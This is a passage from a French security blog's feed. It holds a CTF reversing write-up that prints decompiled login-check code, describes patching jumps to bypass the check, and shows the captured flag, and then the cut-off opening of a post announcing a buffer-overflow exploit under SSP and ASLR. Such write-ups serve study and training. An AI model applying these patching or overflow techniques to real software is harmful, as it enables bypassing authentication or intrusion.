tor(&amp;amp;v28);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp; printf(&quot;%s&quot;, v2);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp; fflush(stdin);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp; gets(&amp;amp;v69);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp; v3 = tor(&amp;amp;v24);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp; printf(&quot;%s&quot;, v3);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp; fflush(stdin);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp; gets((char *)v72);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp; v4 = tor(&amp;amp;v19);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp; printf(&quot;%s&quot;, v4);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp; fflush(stdin);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp; gets(&amp;amp;v68);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp; untrash((const char *)&amp;amp;v11);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp; v5 = tor(&amp;amp;v11);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp; printf(&quot;%s&quot;, v5);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp; fflush(stdin);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp; gets(&amp;amp;v67);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp; for ( i = -5; i &amp;lt;= 9; ++i )&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp; {&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ( *(_DWORD *)v73 == i )&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; v6 = tor(&amp;amp;v47);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf(&quot;ALERT: %s\n&quot;, v6);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp; }&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp; if ( *(_DWORD *)v73 )&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp; {&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; untrash(&amp;amp;v53);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; v8 = tor((int *)&amp;amp;v53);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; v9 = tor(&amp;amp;v55);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf(&quot;%s %s\n&quot;, v9, v8);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; result = 0;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp; }&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp; else&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp; {&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ( strcmp(&amp;amp;v67, &quot;admin_r00t&quot;) )&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; result = 69;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; else&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; v10 = tor(&amp;amp;v62);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf(&quot;%s :)\n&quot;, v10);&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; result = 69;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp; }&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp; return result;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #cccccc; font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;nbsp; ...&lt;/span&gt; &lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Voila , nous somme au coeur du problème a présent, j&#39;me suis donc dit que j&#39;allais travailler ça de façon a patcher le binaire pour luifaire cracher son flag et ne plus avoir&amp;nbsp; d&#39;outputs frustrants comme&amp;nbsp; les : &lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;&quot;&gt;&lt;span style=&quot;color: #674ea7;&quot;&gt;ALERT: You are not welcome.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;ou encore&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;&lt;span style=&quot;color: #674ea7;&quot;&gt;It&#39;s not so easy Dude !&lt;/span&gt; (&lt;i&gt;aprés patching de plusieurs sauts conditionels/call par exemple&lt;/i&gt;).&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;Le but recherché étant d&#39;obtenir le flag de validation&amp;nbsp; , j&#39;ai fait ça de façon rapide &lt;/span&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;mais &lt;u&gt;absolument pas esthétique&lt;/u&gt; , puristes s&#39;abstenir ! &lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;&amp;nbsp; &lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;&amp;nbsp;&amp;nbsp; Pour y parvenir il ne me resta plus qu&#39;a rechercher certaines fonctions (dont celle qui construisent et donne le précieux sésame) puis a patcher afin de jumper au bon endroit.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;&amp;nbsp;Voici quelques une des modifs ainsi effectuées : &lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;Parti de cette instruction&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: red; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: x-small;&quot;&gt; jmp&amp;nbsp;&amp;nbsp; loc_8048a47&lt;/span&gt;&amp;nbsp; , on jump en &lt;span style=&quot;color: red; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: x-small;&quot;&gt;0x8048a47&lt;/span&gt; et on apporte les modifs adéquates.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;La capture suivante propose 2 vues a savoir a gauche le binaire dans sa version originale , a droite sa version patchée .&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJ8im4HpCwPbVuVOPGPKQtnF17YeYOav1oaSB2tVrhqIAm293qnA_mvea5qcREPEeds5nV_zTkzicsEejpFPJScGnLcRoIQdGiaEG3dE2ow6HWZbjBrthBBgikEn9I2VFzkVQQ-FQEsPHJ/s1600/screen1.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJ8im4HpCwPbVuVOPGPKQtnF17YeYOav1oaSB2tVrhqIAm293qnA_mvea5qcREPEeds5nV_zTkzicsEejpFPJScGnLcRoIQdGiaEG3dE2ow6HWZbjBrthBBgikEn9I2VFzkVQQ-FQEsPHJ/s640/screen1.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;La chaine contenue dans&amp;nbsp; &lt;span style=&quot;color: red;&quot;&gt;strz__s__s__8048bed&lt;/span&gt;&amp;nbsp; se trouvait donc etre &quot;&lt;span style=&quot;color: orange;&quot;&gt;admin_r00t %s %s\n\0&lt;/span&gt;&quot; :-^ .&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;Voila , restait alors qu&#39;a chopper le flag et a valider :&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;&lt;span style=&quot;color: orange;&quot;&gt;sh-3.2$ &lt;/span&gt;&lt;span style=&quot;color: yellow;&quot;&gt;./copie\ de\ n00b-login &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;&quot;&gt;&lt;span style=&quot;color: yellow;&quot;&gt;--- Welcome to &#39;Epicness Security&#39; systems.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;&quot;&gt;&lt;span style=&quot;color: yellow;&quot;&gt;Insert name: kmkz&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;&quot;&gt;&lt;span style=&quot;color: yellow;&quot;&gt;Insert last name: sec0d&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;&quot;&gt;&lt;span style=&quot;color: yellow;&quot;&gt;Insert sex: Faible(:P) &lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;&quot;&gt;&lt;span style=&quot;color: yellow;&quot;&gt;Inserd birthday: 1337&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;&quot;&gt;&lt;span style=&quot;color: yellow;&quot;&gt;Insert passwd: pawned!&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;&lt;span style=&quot;color: yellow;&quot;&gt;Damn it! SYSTEM FAILURE:&lt;span style=&quot;color: red;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;iTSeeMsThaTWeAreNotEpicnessAtAlL&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;&quot;&gt;&lt;a href=&quot;http://pastebin.com/NWY4jCH1&quot;&gt;Pastebin du dump ASM&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;&quot;&gt;&lt;a href=&quot;http://pastebin.com/zRi90RFM&quot;&gt;Pastbin du dump C &lt;/a&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kmkz-web-blog.blogspot.com/feeds/2785689575990066033/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4457623080129847893/2785689575990066033' title='1 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4457623080129847893/posts/default/2785689575990066033'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4457623080129847893/posts/default/2785689575990066033'/><link rel='alternate' type='text/html' href='http://kmkz-web-blog.blogspot.com/2011/01/write-up-security-by-default-ctf-bin01.html' title='[Write-Up] Security By Default CTF :  Bin01 (reversing)'/><author><name>kmkz</name><uri>http://www.blogger.com/profile/11354372095868320290</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWX7f_qhizDdUQtNH4mauHaDaN6n2Yuy_MaLPSzL1iO4adY6hBlbA6gVeOMl3greB2FM0GMLeHPN5ZaNMSsQ49Mu2PE4tB55xS_Ajtaz-llty0kG_1I42Qn0GEx0x2OA/s1600/*'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgP1DlvMQrOFxVOVJREQ9mdbM_xdzOO8kblPCRrId92Jzo3OpB8EUWXWk_436GmaSp2HTiYBDU8PFMvbqFifIEM9ego1NE0ZgAoKY__uZ1-ihbQ4gK9HSLuwkmRQsqdg6nEM414DgF81pkL/s72-c/secu_by_def_bin1.png" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4457623080129847893.post-8350044517346876451</id><published>2010-11-14T23:10:00.008+01:00</published><updated>2011-01-06T09:49:44.910+01:00</updated><title type='text'>Erreur de Casting ou corruption de la stack en milieu hostile</title><content type='html'>&lt;style type=&quot;text/css&quot;&gt;
&lt;!--   @page { margin: 2cm }   P { margin-bottom: 0.21cm }   PRE { font-family: &quot;Liberation Serif&quot; }   A:link { so-language: zxx 
&lt;/style&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;Salut a tous .&lt;/span&gt;






&lt;pre&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;Actuellement en formation réseau , je n&#39;ai pas pu tenir toute mes promesses concernant ce blog , néanmoins ,&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;je vous propose a présent une petite exploitation en milieu hostile (avec SSP et ASLR).&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt; Notre objectif du jour sera ,comme souvent, la réécriture d&#39;EIP , grace a un buffer overflow .&lt;/span&gt;

&lt;span style=&quot;color: #cccccc;&quot;&gt;Pour ce faire nous exploiterons une faille de type «transtypage» ou «casting» ,puis nous redirigerons le flot d&#39;exécution&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;en écrasant EIP grace a une erreur dans l&#39;emploi de la fonction C strncat().&lt;/span&gt;
&lt;span style=&quot;color: #cccccc;&quot;&gt;Tout d&#39;abord précisons l&#39;environnement de travail:&lt;/span&gt;
